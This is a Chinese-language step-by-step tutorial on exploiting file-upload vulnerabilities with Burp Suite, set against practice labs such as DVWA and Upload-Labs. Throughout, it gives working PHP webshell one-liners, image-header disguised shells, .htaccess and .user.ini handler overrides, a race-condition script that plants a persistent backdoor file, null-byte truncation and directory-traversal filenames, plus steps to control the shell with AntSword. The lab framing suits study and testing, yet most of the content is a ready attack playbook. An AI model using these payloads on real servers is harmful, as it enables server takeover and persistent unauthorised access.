文件上传漏洞是Web安全高危风险点,核心风险为上传恶意脚本获取服务器权限,本次结合Burp全功能模块,拆解「场景判定→精准绕过→漏洞验证→权限利用」全环节,聚焦各类防护的核心绕过逻辑与实操细节,适配Apache、Nginx、IIS等主流服务器场景。
 
一、前置环境精准配置(避免实操踩坑)
 
1. 工具与靶场适配
 
- 靶场选择:优先DVWA(Medium/High/Impossible级别)、Upload-Labs(1-20关全覆盖)、PHPStudy搭建本地测试环境(模拟Apache+PHP/nginx+PHP架构)。
- 恶意文件准备:
- 基础一句话木马: <?php @eval($_POST['cmd']);?> (保存为 shell.php ,密码 cmd )。
- 图片马构造:用记事本打开木马文件,开头添加对应文件头(GIF: GIF89a; 、PNG: 89504E470D0A1A0A; 、JPG: FFD8FFE000104A464946; ),保存为 shell.jpg (伪装图片格式)。
- 配置类文件: .htaccess (Apache适配)、 .user.ini (PHP环境适配),提前编写核心配置代码。
- 辅助工具:中国蚁剑(连接木马)、010 Editor(Hex编辑文件,精准修改文件头)。
 
2. Burp基础配置(确保拦截与解析正常)
 
1. 代理配置: Proxy→Options→Proxy Listeners ,启用 127.0.0.1:8080 ,勾选 Support invisible proxying (适配各类浏览器)。
2. 浏览器联动:Chrome/Firefox设置代理为 127.0.0.1:8080 ,导入Burp CA证书( Proxy→Options→Import/export CA certificate ),确保HTTPS请求正常解密,无证书报错。
3. 拦截规则: Proxy→Intercept ,勾选 Intercept is on ,默认拦截所有POST请求(文件上传多为POST类型, multipart/form-data 格式)。
 
二、核心步骤1:上传场景精准判定(先判类型再绕防护)
 
拦截上传请求后,通过3个维度快速判定防护类型,避免盲目测试:
 
1. 判定是否为前端校验(JS校验)
 
- 判定方法:选择 shell.php 点击上传,若浏览器直接提示“文件类型不允许”,但Burp未捕获到任何请求(无 multipart/form-data 请求包),则为纯前端JS校验。
- 关键特征:请求未发送至服务器,仅浏览器本地通过JS脚本校验扩展名。
 
2. 判定是否为服务端校验
 
- 判定方法:上传 shell.php 后,Burp捕获到请求,放行后服务器返回“文件类型非法”“扩展名不允许”等提示,即服务端校验(含后缀、Content-Type、文件内容校验)。
- 关键特征:请求已抵达服务器,由后端代码执行校验逻辑。
 
3. 分析请求结构(定位核心修改点)
 
捕获上传请求后,重点关注3个核心部分,示例请求片段如下:
 
http   
POST /upload.php HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxx
------WebKitFormBoundaryxxx
Content-Disposition: form-data; name="file"; filename="shell.php"  // 核心1:文件名(含扩展名)
Content-Type: application/x-php  // 核心2:文件MIME类型
// 核心3:文件内容(含文件头+恶意代码)
<?php @eval($_POST['cmd']);?>
------WebKitFormBoundaryxxx--
 
 
- 需修改的核心参数: filename (扩展名)、 Content-Type (MIME类型)、请求体中的文件内容(文件头/恶意代码)。
 
三、核心步骤2:全场景防护绕过实操(含细节+避坑)
 
场景1:前端JS校验绕过(2种高效方法)
 
方法1:Burp抓包改后缀(最常用)
 
1. 本地将 shell.php 重命名为 shell.jpg (符合前端JS允许的图片格式)。
2. 浏览器选择 shell.jpg 点击上传,Burp捕获请求。
3. 精准修改:将 filename="shell.jpg" 改为 filename="shell.php" ,保持其他参数不变,点击「Forward」放行。
4. 验证:服务器返回“上传成功”+文件路径,访问路径即可执行脚本,绕过成功。
 
方法2:禁用浏览器JS(兜底方案)
 
1. Chrome浏览器:按 F12→Settings→Debugger→Disable JavaScript ,勾选禁用JS。
2. 直接选择 shell.php 上传,因JS校验失效,请求直接发送至服务器,若服务器无其他防护则直接上传成功。
 
- 避坑点:部分网站禁用JS后无法正常加载上传按钮,优先用方法1。
 
场景2:Content-Type(MIME类型)校验绕过
 
原理:服务端仅校验请求头中 Content-Type 是否在白名单(如image/jpeg、image/png),不校验文件本身内容。
 
Burp实操步骤(3步到位):
 
1. 捕获上传 shell.php 的请求,此时 Content-Type: application/x-php (PHP默认MIME类型)。
2. 精准修改:将 Content-Type: application/x-php 改为白名单内类型,优先选3类通用值: image/jpeg 、 image/png 、 application/octet-stream 。
3. 保持 filename="shell.php" 不变,放行请求,服务器因MIME类型合法通过校验,上传成功。
 
- 进阶技巧:若WAF拦截固定MIME值,可通过Burp「Chunked Encoding Converter」插件将请求分块发送,干扰WAF匹配,提升绕过成功率。
- 避坑点:修改后需确保 filename 后缀与恶意文件类型一致(如PHP文件后缀仍为.php),避免服务器因后缀与MIME冲突拒绝上传。
 
场景3:后缀名黑白名单校验绕过(分场景拆解)
 
子场景3.1:黑名单校验绕过(禁用php、asp等后缀)
 
核心逻辑:利用服务器可解析的替代后缀、大小写混淆、双写等方式,规避黑名单限制,适配不同服务器架构:
 
1. 替代后缀测试(按服务器类型分类):
- Apache服务器:优先试 php5 、 phtml 、 phps 、 php3 (如 filename="shell.php5" ),Apache会向前解析可识别后缀。
- IIS服务器:优先试 asa 、 cer 、 cdx (如 filename="shell.asa" ),IIS默认支持这类后缀解析为脚本。
- Nginx服务器:优先试 php.jpg (嵌套后缀,如 filename="shell.php.jpg" ),需服务器配置支持嵌套解析。
2. 大小写混淆绕过:
- 适用场景:服务端校验不区分大小写,仅过滤小写 php 。
- 修改方式: filename="shell.Php" 、 filename="shell.PHP" 、 filename="SHELL.php" ,利用Windows/Linux大小写敏感度差异绕过。
3. 双写后缀绕过:
- 适用场景:服务端仅单次过滤后缀字符串(如替换“php”为空,非递归过滤)。
- 修改方式:将 php 拆分为双写形式,如 filename="shell.pphphp" ,服务端过滤第一个“php”后,剩余字符拼接为“php”,最终解析为 shell.php 。
4. 特殊字符后缀绕过:
- 空格后缀: filename="shell.php " (PHP后加空格,Windows系统会自动忽略空格,保存为 shell.php )。
- 点后缀: filename="shell.php." (PHP后加英文点,Windows系统自动去除末尾点,适配IIS服务器)。
 
子场景3.2:白名单校验绕过(仅允许jpg、png、gif)
 
核心逻辑:文件头伪装(图片马)+后缀欺骗,双重适配白名单规则:
 
1. 第一步:构造合规图片马(确保文件头符合白名单类型)
- 用010 Editor打开 shell.php ,在文件开头添加对应图片文件头(Hex格式精准写入,避免乱码):
- GIF图马:开头添加 GIF89a (Hex:474946383961)。
- PNG图马:开头添加 89504E470D0A1A0A (Hex格式)。
- JPG图马:开头添加 FFD8FFE000104A464946 (Hex格式)。
- 保存为 shell.jpg (符合白名单扩展名),文件内容示例: GIF89a<?php @eval($_POST['cmd']);?> 。
2. 第二步:Burp抓包改后缀欺骗
- 浏览器上传 shell.jpg ,Burp捕获请求。
- 精准修改:将 filename="shell.jpg" 改为 filename="shell.jpg.php" (嵌套PHP后缀,欺骗服务端仅校验末尾jpg)。
- 可选优化:若服务端校验文件头,切换至Burp「Hex」视图,确认文件开头为对应图片Hex码,确保无修改错误。
3. 第三步:放行验证
- 服务器因文件头为图片格式、末尾后缀为jpg,通过白名单校验,保存为 shell.jpg.php 。
- 访问文件路径,Apache/Nginx会解析为PHP脚本,执行恶意代码,绕过成功。
 
- 避坑点:图片马需确保文件头完整,仅加1-2个字符可能被文件内容校验拦截,优先用完整Hex格式文件头。
 
场景4:文件头(Magic Bytes)校验绕过
 
原理:服务端通过检测文件前几个字节(文件头)判断真实类型,仅伪装扩展名无效,需修改文件内容开头的文件头。
 
Burp实操步骤:
 
1. 构造图片马:按场景3.2的方法,在 shell.php 开头添加合规文件头(如 GIF89a ),保存为 shell.gif 。
2. 捕获上传请求:选择 shell.gif 上传,Burp捕获后,无需修改 filename 和 Content-Type (保持 filename="shell.gif" 、 Content-Type: image/gif )。
3. 关键操作:若服务端同时校验后缀,可结合后缀欺骗,将 filename="shell.gif" 改为 filename="shell.gif.php" ,双重适配。
4. 验证:上传成功后,访问路径,服务器识别文件头为图片通过校验,实际解析为PHP脚本执行。
 
- 进阶技巧:若服务端校验文件尾(如JPG结尾 FFD9 ),可在木马文件末尾添加对应文件尾Hex码,用010 Editor精准写入,提升绕过成功率。
 
场景5:%00空字符截断绕过
 
原理:低版本PHP(≤5.3.4)或服务器配置缺陷,读取文件名时遇到 %00 (NULL字符)会认为文件结束,截断后续内容。
 
分请求类型实操:
 
子场景5.1:GET请求截断(URL参数传路径)
 
1. 目标上传接口为GET类型,路径参数可控,如 http://localhost/upload.php?path=upload/&file=shell.php 。
2. Burp捕获请求,修改URL参数:将 path=upload/ 改为 path=upload/shell.php%00 ,或 file=shell.php%00.jpg 。
3. 放行请求:服务器解析时截断 %00 后内容,最终保存为 shell.php ,绕过后缀限制。
 
子场景5.2:POST请求截断(请求体传文件名)
 
1. 捕获POST上传请求,修改 filename="shell.php%00.jpg" 。
2. 关键操作:因POST请求体不会自动解码 %00 ,需手动插入NULL字符:选中 %00 ,右键选择「URL-decode selected」,或切换至Hex视图,在对应位置插入 00 (Hex值)。
3. 放行请求:服务器解析文件名时, %00 后 jpg 被截断,保存为 shell.php ,绕过成功。
 
- 避坑点:仅适配低版本PHP,高版本已修复该漏洞,测试前需确认目标PHP版本(可通过phpinfo页面查看)。
 
场景6:配置文件利用绕过(Apache/Nginx/PHP环境)
 
子场景6.1:Apache服务器(.htaccess文件)
 
原理:Apache支持 .htaccess 配置文件,可自定义文件解析规则,若服务器允许上传该文件,可强制解析图片为脚本。
 
1. 编写 .htaccess 文件,核心代码2选1:
- 规则1:指定单个文件解析:  <FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch> (仅 shell.jpg 解析为PHP)。
- 规则2:指定后缀解析: AddType application/x-httpd-php .jpg (所有 .jpg 文件解析为PHP)。
2. Burp上传 .htaccess :选择该文件上传,捕获请求,确保 filename=".htaccess" ,放行后确认上传成功(需服务器允许 .htaccess 上传,无黑名单限制)。
3. 上传图片马:上传提前构造的 shell.jpg (含恶意代码+GIF文件头),无需修改其他参数。
4. 验证:访问 shell.jpg 路径,Apache因 .htaccess 规则,将图片解析为PHP脚本,执行木马。
 
子场景6.2:PHP环境(.user.ini文件)
 
原理:PHP环境支持 .user.ini 配置文件,可设置 auto_prepend_file (前置加载文件),强制所有PHP文件执行前加载指定文件。
 
1. 编写 .user.ini 文件,核心代码: auto_prepend_file = shell.jpg (加载 shell.jpg 文件)。
2. 上传 .user.ini :捕获请求,确保 filename=".user.ini" ,上传至网站根目录(如 /wwwroot/ )或上传目录(需该目录可执行PHP)。
3. 上传图片马 shell.jpg :与 .user.ini 同目录,文件内容含 GIF89a<?php @eval($_POST['cmd']);?> 。
4. 验证:访问网站任意PHP文件(如 index.php ),PHP会先加载 shell.jpg ,执行恶意代码,获取权限。
 
- 避坑点: .user.ini 需与待执行的PHP文件同目录,或上传至网站根目录,否则配置不生效。
 
场景7:条件竞争绕过(服务端逻辑缺陷)
 
原理:服务端校验逻辑为“先保存文件→再校验文件合法性→非法则删除”,存在时间差,可利用并发请求在删除前执行脚本。
 
Burp+浏览器联动实操:
 
1. 构造恶意文件 race.php ,核心代码(写入持久后门):
php   
<?php fputs(fopen('backdoor.php','w'),'<?php @eval($_POST["cmd"]);?>');?>
 
 
功能:上传后执行该文件,自动在服务器生成 backdoor.php (持久后门,即使原文件被删除仍可用)。
2. Burp捕获上传 race.php 的请求,发送至「Repeater」模块。
3. 高频重放请求:在Repeater中点击「Send」,同时快速多次点击,持续向服务器发送上传请求(模拟并发)。
4. 同步访问文件:用浏览器或蚁剑,持续访问 race.php 的上传路径(如 http://localhost/upload/race.php ),利用时间差执行脚本。
5. 验证:访问 backdoor.php ,若能正常连接蚁剑,说明持久后门生成成功,绕过成功。
 
- 进阶技巧:用Burp「Intruder」模块设置无限循环攻击,批量发送请求,提升并发成功率,攻击类型选「Sniper」,Payload设为空,攻击次数设为1000+。
 
四、核心步骤3:恶意文件执行与权限验证
 
1. 一句话木马连接(中国蚁剑)
 
1. 获取上传成功的文件路径:服务器返回提示(如“上传路径:/upload/shell.php5”),或通过站点目录遍历、页面源码查找路径。
2. 蚁剑配置连接:
- 点击「添加数据」,连接地址填完整文件路径(如 http://localhost/upload/shell.php5 )。
- 连接密码填木马中的参数(如 cmd ),脚本类型选对应语言(PHP/JSP/ASP)。
- 点击「测试连接」,显示“连接成功”则可进入管理面板,执行命令(如 whoami 查权限、 ls 查目录)。
 
2. 目录穿越提升权限(可选)
 
若上传目录不可执行(仅允许存储,禁止脚本运行),可通过Burp篡改上传路径,将文件写入Web根目录(可执行路径):
 
1. 捕获上传请求,修改 filename="../shell.php" ( ../ 表示向上跳转一级目录)。
2. 若需多级跳转: filename="../../wwwroot/shell.php" ,需知道服务器Web根目录路径(如 /wwwroot/ 、 /htdocs/ )。
3. 放行请求,访问 http://localhost/shell.php ,即可执行脚本(需服务器对上传目录开放写入权限)。
 
五、Burp辅助工具模块高效用法
 
1. Intruder模块:批量测试可绕过后缀
 
1. 捕获上传请求,发送至「Intruder」模块。
2. 标记变量:选中 filename="shell.php" 中的 .php 部分,点击「Add §」标记为变量(如 filename="shell§.php§" )。
3. 配置Payload:
- 切换至「Payloads」标签,Payload类型选「Simple list」。
- 加载后缀字典:添加可执行后缀( php,php5,phtml,asp,asa,cer,php.jpg 等)。
4. 启动攻击:点击「Start attack」,通过响应状态码(200=成功,403=拒绝)、响应内容(含“上传成功”)筛选可绕过的后缀。
 
2. Repeater模块:精准调试绕过参数
 
1. 捕获请求后发送至「Repeater」,可反复修改参数并重放,观察服务器响应,精准定位有效绕过方式。
2. 核心用途:测试不同MIME类型、后缀组合、文件头是否生效,避免重复抓包,提升测试效率。
 
3. Hex视图:精准修改文件头/空字符
 
1. 捕获请求后,点击请求体下方「Hex」切换至十六进制视图。
2. 修改文件头:搜索文件内容开头字符,替换为对应图片的Hex码(如GIF:474946383961)。
3. 插入空字符:在需要截断的位置,插入 00 (Hex值),实现 %00 截断,避免URL解码错误。
 
六、关键避坑与实战技巧
 
1. 服务器解析差异:Apache优先解析最右侧可识别后缀(如 shell.php.jpg 解析为PHP),Nginx需配置 fastcgi_param 才支持嵌套解析,测试时按服务器类型选后缀。
2. 特殊字符转义:部分防护过滤 ../ (目录穿越),可替换为 ..// 、 ../. ,服务器会自动转义为正常路径。
3. 避免误报:上传成功后需实际访问文件路径,确认脚本可执行,部分服务器提示“上传成功”但未保存文件,或保存后无执行权限,需进一步验证。
4. 清理痕迹:测试完成后,删除上传的恶意文件(木马、.htaccess、.user.ini),避免服务器被他人利用,符合合规测试要求。
 
 

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐